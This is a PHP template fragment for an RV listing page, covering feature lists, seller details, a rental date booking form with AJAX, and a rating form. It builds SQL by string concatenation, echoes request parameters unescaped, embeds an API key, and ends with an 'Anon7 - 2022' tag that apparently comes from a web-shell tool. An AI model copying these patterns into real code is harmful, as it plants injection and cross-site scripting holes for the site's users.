															<?php if( $microwave !=''  ) { ?>
															<li>Microwave : <?php echo $microwave; ?></li>
															<?php } if( $refrigerator !=''  ) { ?>
															<li>Refrigerator : <?php echo $refrigerator; ?> </li>
															<?php } if( $stove_top_burner !=''  ) { ?>
															<li>Stove Top Burner: <?php echo $stove_top_burner; ?></li>
															<?php } if( $water_heater !=''  ) { ?>
															<li>Water Heater : <?php echo $water_heater; ?> </li>                    
															<?php } ?>
														</ul>
													  </td>
													</tr>                
													<tr>
													  <td>
														<i class="mdi mdi-flash"></i> Electrical
													  </td>
													</tr>                
													<tr>
													  <td>
														<ul class="list-unstyled multi-column">
														<?php if( $air_conditioning !=''  ) { ?>
														<li>Air Conditioning: <?php echo $air_conditioning; ?> </li>
														<?php } if( $auxiliary_battery !=''  ) { ?>
														<li>Auxiliary Battery: <?php echo $auxiliary_battery; ?></li>                    
														<?php }  ?>
														</ul>
													  </td>
													</tr>                
													<tr>
													  <td>
														<i class="mdi mdi-guage"></i> Equipment
													  </td>
													</tr>                
													<tr>
													  <td>
														<ul class="list-unstyled multi-column">
														<?php if( $co_detector !=''  ) { ?>
														<li>CO Detector : <?php echo $co_detector; ?></li>
														<?php } if( $lp_detector !=''  ) { ?>
														<li>LP Detector: <?php echo $lp_detector; ?></li>
														<?php } if( $smoke_detector !=''  ) { ?>
														<li>Smoke Detector: <?php echo $smoke_detector; ?></li>                    
														<?php } ?>
														</ul>
													  </td>
													</tr>                
													<tr>
													  <td>
														<i class="mdi mdi-radio-tower"></i> Exterior
													  </td>
													</tr>                
													<tr>
													  <td>
														<ul class="list-unstyled multi-column">
														<?php  if( $awning !=''  ) { ?>
														<li>Awning : <?php echo $awning; ?></li>
														<?php } if( $leveling_jacks !=''  ) { ?>
														<li>Leveling Jacks: <?php echo $leveling_jacks; ?></li>
														<?php } if( $power_roof_vent !=''  ) { ?>
														<li>Power Roof Vent: <?php echo $power_roof_vent; ?></li>
														<?php } if( $skylight !=''  ) { ?>
														<li>Skylight: <?php echo $skylight; ?></li>
														<?php } if( $slideout !=''  ) { ?>
														<li>Slideout: <?php echo $slideout; ?></li>                    
														<?php }  ?>
														</ul>
													  </td>
													</tr>                
													<tr>
													  <td>
														<i class="mdi mdi-sofa"></i> Interior/Furnishings
													  </td>
													</tr>  
													
													<tr>
													  <td>
														<ul class="list-unstyled multi-column">
														<?php if( $booth_dinette !=''  ) { ?>
														<li>Booth Dinette : <?php echo $booth_dinette; ?></li>
														<?php } if( $bunk_beds !=''  ) { ?>
														<li>Bunk Beds: <?php echo $bunk_beds; ?></li>
														<?php } if( $medicine_cabinet !=''  ) { ?>
														<li>Medicine Cabinet : <?php echo $medicine_cabinet; ?></li>
														<?php } if( $power_roof_vent !=''  ) { ?>
														<li>Roof Vents : <?php echo $power_roof_vent; ?> </li>
														<?php } if( $shower !=''  ) { ?>
														<li>Shower : <?php echo $shower; ?> </li>
														<?php } if( $toilet !=''  ) { ?>
														<li>Toilet : <?php echo $toilet; ?> </li>                    
														<?php } ?>
														</ul>
													  </td>
													</tr>
												  </tbody>
												</table>
											  </div><!-- /.hidden-xs-down features-included #features-included -->
									</div>
									
							</div>
							<!-- End to detail Item -->
                        </article>
						<div class="row" >
							<div class="col-md-12 col-lg-12 col-xl-12" style="">
								&nbsp;
							</div>
						</div>
						
						<div class="row" >
						
							<?php if( $para == 5 ) { 
								
								if( $i_added_by_customerId > 0 )
								{	
									$query3 = "SELECT * FROM tbl_register WHERE i_customerID  =  '".$i_added_by_customerId."' ";	
									$result=$db->query($query3);    
									foreach($result->rows AS $key=>$val )
									{		
										foreach($val AS $key1=>$val1 )
										{
											$$key1  = stripslashes($val1);
										}  ?>
									<div class="col-lg-12" style="" >
										<fieldset class="star-rating">
										<legend class="star-rating__title">Seller Detail:</legend>
											<div class="row" >
												<div class="col-md-3 col-sm-12" style=""><strong>Name : </strong></div><div class="col-md-3 col-sm-12" style=""><?php echo $b_first_name.'  '.$b_last_name; ?></div>
												<div class="col-md-3 col-sm-12" style=""><strong>Email :</strong></div><div class="col-md-3 col-sm-12" style=""><?php echo $b_email; ?></div>
												<div class="col-md-3 col-sm-12" style=""><strong>Phone :</strong></div><div class="col-md-3 col-sm-12" style=""><?php echo $country_code_phone; ?> &nbsp; <?php echo $phone; ?></div>
												<div class="col-md-3 col-sm-12" style=""><strong>City :</strong></div><div class="col-md-3 col-sm-12" style=""><?php echo $city; ?></div>
											</div>
										</fieldset>
									</div>

								<?php		
									}
								}
								?>
							<?php }else if( $para == 3 ) { 

										$SQL2 = "SELECT DATE_FORMAT(MAX(rent_startDate),  '%Y-%m-%d' ), DATE_FORMAT(MAX(rent_endDate),  '%Y-%m-%d' ) FROM tbl_item_rent WHERE i_itemID  = '".$i_itemID."' ";
										$rv_set_result=$db->query($SQL2);
										if ($rv_set_result->num_rows)
										{
											$rowd = $rv_set_result->row;

											/*
											$todaytime  = date("Y-m-d h:m:s");
											$todaytime_stamp  = mktime(date("Y-m-d h:m:s")); 
											
											$rowd = $rv_set_result->row;
											$max_rent_startDate  = $rowd['max_rent_startDate'];
											$max_rent_startDate_stamp   = mktime($rowd['max_rent_startDate']);

											$max_rent_endDate  = $rowd['max_rent_endDate'];
											$max_rent_endDate_stamp   = mktime($rowd['max_rent_endDate']);
											*/

											$todaytime  = date("Y-m-d");
											$todaytime_stamp  = mktime(date("Y-m-d"));
											$max_rent_startDate  = $rowd['max_rent_startDate'];
											$max_rent_startDate_stamp   = mktime($rowd['max_rent_startDate']);
											$max_rent_endDate  = $rowd['max_rent_endDate'];
											$max_rent_endDate_stamp   = mktime($rowd['max_rent_endDate']);
											
											$cal_today  = date("Y-m-d", strtotime("+4 days"));
											$cal_today_stamp = mktime($cal_today);
											
											if( $max_rent_startDate_stamp >  $max_rent_endDate_stamp ){
												if( $max_rent_startDate_stamp > $todaytime_stamp ){
													$cal_today  = $max_rent_startDate;
												}
											}else if( $max_rent_endDate_stamp > $max_rent_startDate_stamp ){
												if( $max_rent_endDate_stamp > $todaytime_stamp ){
													$cal_today  = $max_rent_endDate_stamp;
												}
											}else if( $max_rent_endDate_stamp == $max_rent_startDate_stamp){
												if( $max_rent_endDate_stamp > $todaytime_stamp ){
													$cal_today  = $max_rent_endDate_stamp;
												}
											}

											$cal_endstartday  = date("Y-m-d", strtotime("+4 days"));
										}


							 //echo '<pre>'; print_r( $_SESSION ); echo '</pre>';		
									
							?>
							<div class="col-lg-12" style="clear:both;" >&nbsp;<HR/></div>
							<form style="width:100%;padding:0px;" method="get" action="<?php echo site_url.'item_detail.php'; ?>" >	
							<div class="col-md-12 col-lg-12 col-sm-12 " style="">
								<div class="row">									
									<div class="col-lg-4 col-sm-12">
										<div class="input-group input-daterange">
											<span class="input-group-addon">Start Date&nbsp;</span>
											<input id="rent_startDate" name="rent_startDate" type="text" class="form-control" readonly="readonly" required > 
											
										</div>
									</div> 
									<div class="d-lg-none col-sm-12" style="">&nbsp;</div>
									<div class="col-lg-4  col-sm-12">
										<div class="input-group input-daterange">
											<span class="input-group-addon">End Date&nbsp;</span> 
											<input id="rent_endDate" name="rent_endDate" type="text" class="form-control" readonly="readonly" required >
											
										</div>
									</div>
								</div>
								<div class="col-md-12 col-lg-12 col-sm-12 " style="">&nbsp;</div>

								<script
									src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.js"></script>
								<script type="text/javascript">
									$(document).ready(function() {
										
										  $("#rent_startDate").datepicker();
										  $('.farent_startDate').click(function() {
											$("#rent_startDate").focus();
										  });

										  $("#rent_endDate").datepicker();
										  $('.farent_endDate').click(function() {
											$("#rent_endDate").focus();
										  });

									});

									$('#rent_startDate').datepicker({
										format: "yyyy-mm-dd",
										startDate: new Date('<?php echo $cal_today; ?>')
									});

									$('#rent_endDate').datepicker({
										format: "yyyy-mm-dd",
										startDate: new Date('<?php echo $cal_endstartday; ?>')
									});

								</script>
								<!-- End to date calender -->

							</div>
							<?php // echo '<pre>'; print_r( $_SESSION );  echo '</pre>'; ?>
							<div class="col-md-6 col-lg-6 col-sm-12 " style="">	
								<input type="hidden" name="submitrentfrm" value="yes" />
								<input type="hidden" name="action" value="add" />
								<input type="hidden" name="i_itemID" id="rent_rv_i_itemID" value="<?php echo $_REQUEST['i_itemID']; ?>" />
								<input type="hidden" name="SESS_cust_i_customerID" id="SESS_cust_i_customerID" value="<?php echo $SESS_cust_i_customerID; ?>" />
								<input type="hidden" name="para" id="rent_rv_para" value="3" />
								<input type="hidden" name="para" id="rent_rv_para" value="3" />
								<button type="button" name="submitrentbutton" id="submitrentbutton" class="btn btn-primary " style="background-color:#4AAA52;color:#fff; float:center; display:inline-block; width:100%;" >Rent RV</button>
								<!-- <a href="<?php echo site_url.'item_buy.php?i_itemID='.$i_itemID; ?>&action=add" class="btn btn-primary " style="background-color:#4AAA52;color:#fff; float:center; display:inline-block; width:100%;" >Rent RV</a> -->
							</div>
							<div class="col-lg-12" style="clear:both;" ></div>
							<div class="col-md-12 col-lg-12 col-sm-12 " id="ajaxrent_rv_results" ></div>
							<?php if($histry_flag) { ?>
							<div class="col-lg-12" style="clear:both;" ></div>							
							<div class="col-md-12 col-lg-12 col-sm-12 " style="padding:0p; margin:20px 0px 20px 0px;">	
								<strong> Booked Date Info:</strong>
								There are following already booked date, so please book on another date.
								<?php echo $booked_date_history;  ?>
							</div>
							<?php } ?>
							</form>
							<div class="col-lg-12" style="clear:both;" ></div>
							
							<script type="text/javascript" >	
								$(document).ready(function() {
									$("#submitrentbutton").click(function(event){
										var rent_startDate  = $("#rent_startDate").val();
										var rent_endDate  = $("#rent_endDate").val();
										var rent_rv_i_itemID  = $("#rent_rv_i_itemID").val();
										var rent_rv_para  = $("#rent_rv_para").val();
										var SESS_cust_i_customerID = $("#SESS_cust_i_customerID").val();
										if( SESS_cust_i_customerID > 0 ){
										
										}else{
											alert("Please login");
											return false;
										}
										if( rent_startDate == '' ){
											alert("Please select start date");
											return false;
										}

										if( rent_endDate == '' ){
											alert("Please select end date");
											return false;
										}
										if( rent_rv_i_itemID == '' ){
											alert("There is invalid rent parameter.");
											return false;
										}
										
										$('#ajaxrent_rv_results').html('Wait while loading.....');
										$.ajax({
										  url: 'ajax_rent_rv.php',
										  type: 'GET',
										  data: 'rent_startDate=' + rent_startDate + '&rent_endDate=' + rent_endDate + '&i_itemID=' + rent_rv_i_itemID + '&para=' + rent_rv_para + '&SESS_cust_i_customerID='+SESS_cust_i_customerID,
										  success: function(data) {
											//called when successful
											$('#ajaxrent_rv_results').html(data);
										  },
										  error: function(e) {
											//called when there is an error
											//console.log(e.message);
										  }
										});
									});
								});
							</script>								

							<?php }else { ?>
								<div class="col-md-2 col-lg-2 col-xl-6 " style="">
									<a href="<?php echo site_url.'item_buy.php?i_itemID='.$i_itemID; ?>&action=add" class="btn btn-primary " style="background-color:#4AAA52;color:#fff; float:center; display:block" >Buy Now</a><BR/><BR/>
								</div>

							<?php } ?>
							
							
							
							
							
							
							
							
							
							
							
							<form class="mb-30" method="get" action="<?php echo site_url.'item_detail.php'; ?>" >
							<div class="col-lg-12" style="clear:both;" >&nbsp;<HR/></div>
							<div class="col-lg-12" style="" >
							   
								  <fieldset class="star-rating">
									<legend class="star-rating__title">Your rating:</legend>
									<div class="star-rating__stars">
									  <input class="star-rating__input" type="radio" name="rating" value="1" id="rating-1" />
									  <label class="star-rating__label" for="rating-1" aria-label="One"></label>
									  <input class="star-rating__input" type="radio" name="rating" value="2" id="rating-2" />
									  <label class="star-rating__label" for="rating-2" aria-label="Two"></label>
									  <input class="star-rating__input" type="radio" name="rating" value="3" id="rating-3" />
									  <label class="star-rating__label" for="rating-3" aria-label="Three"></label>
									  <input class="star-rating__input" type="radio" name="rating" value="4" id="rating-4" />
									  <label class="star-rating__label" for="rating-4" aria-label="Four"></label>
									  <input class="star-rating__input" type="radio" name="rating" value="5" id="rating-5" />
									  <label class="star-rating__label" for="rating-5" aria-label="Five"></label>
									  <div class="star-rating__focus"></div>
									</div>
								  </fieldset>
							</div>
							<div class="col-lg-12" style="clear:both;" >&nbsp;</div>
							<div class="col-lg-12" style="" >
							   <legend class="star-rating__title">Comment:</legend>
							   <div class="row text-xs-center py-1">
							   	<textarea name="itemcomment" id="itemcomment" rows="6" cols="80%" style="border:1px solid #cccccc;" required ></textarea>
							   </div>
							</div>


							<div class="col-lg-12" style="padding:0px; float:right; text-align:right;  ">
							    <input type="hidden" name="submitcommentfrm"  value="yes" > 
								<input type="hidden" name="i_itemID" id="i_itemID"  value="<?php echo $_REQUEST['i_itemID']; ?>" >
								<button name="submitcomment" id="submitcomment" class="btn btn-primary " style="float:left;" >Submit</button>
							</div>

							</form>
						</div>
                    </div><!-- /.col-lg-8 -->

                </div><!-- /.row -->
            </div><!-- /.container -->
        </div><!-- /.blog blog-single -->
		<!--End AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
	</div><!-- /.page-wrapper -->

	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/us/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/us/common/footer_bottom.php'); ?>
	</footer>
		<?php if( $v_show_image_type != '3d' ) { ?>
		<a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
		<!-- /.scroll-to-top -->
		<?php require_once($ROOT_DIR.'/page_content/us/common/footer_js.php'); ?>

		<script >
		   $('#partner_tab_2').hide();
		   $(".tabparner").on("click", function(){
			var tabparner_id = $(this).attr('id');
				//alert("The paragraph was clicked." + tabparner_id);
				if( tabparner_id == 'tab_1' ){
					$("#tab_1").addClass("activetab");
					$("#tab_1").removeClass("deactivetab");
					$("#tab_2").removeClass("activetab");
					$("#tab_2").addClass("deactivetab");
					$('#partner_tab_1').show();
					$('#partner_tab_2').hide();
				}
				
				if( tabparner_id == 'tab_2' ){
					$("#tab_2").addClass("activetab");
					$("#tab_2").removeClass("deactivetab");
					$("#tab_1").removeClass("activetab");
					$("#tab_1").addClass("deactivetab");
					$('#partner_tab_1').hide();
					$('#partner_tab_2').show();
				}
				
		   }); 
		
		</script>
		

		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.tmpl.min.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.easing.1.3.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.elastislide.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/gallery.js"></script>

		<script>
		$(window).load(function() {
				$(".rg-thumbs").hide();
				$(".rg-view").hide();
				
		});
		/*
		$( window ).on("load", function() {
				$("#features-includedid").trigger('click');
				$("#specificationsid").trigger('click');
				$("button").attr("aria-expanded","true");
				alert("AAA");
		});
		*/

		</script>
		<?php }else{ ?>
		
		<a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
		<!-- /.scroll-to-top -->
  
    <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBurXgYMavDEzEDzGs8Pq-TZVamhF2aZoE"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/gmaps.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/map-helper.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/bootstrap.bundle.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.magnific-popup.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/owl.carousel.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/isotope.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/bootstrap-select.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/waypoints.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.bxslider.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.counterup.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/wow.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/theme.js"></script>



	<script>
		$("#vaddressmap").on('click', function(){
				location.href = 'contact.php?#map';
				//var viewcontactriceAjaxRESULT = document.getElementById("viewcontact");
				//viewcontactriceAjaxRESULT.scrollIntoView();
		});
	</script>
		
		<?php }?>
    </body>
</html>

Anon7 - 2022
SCDN GOK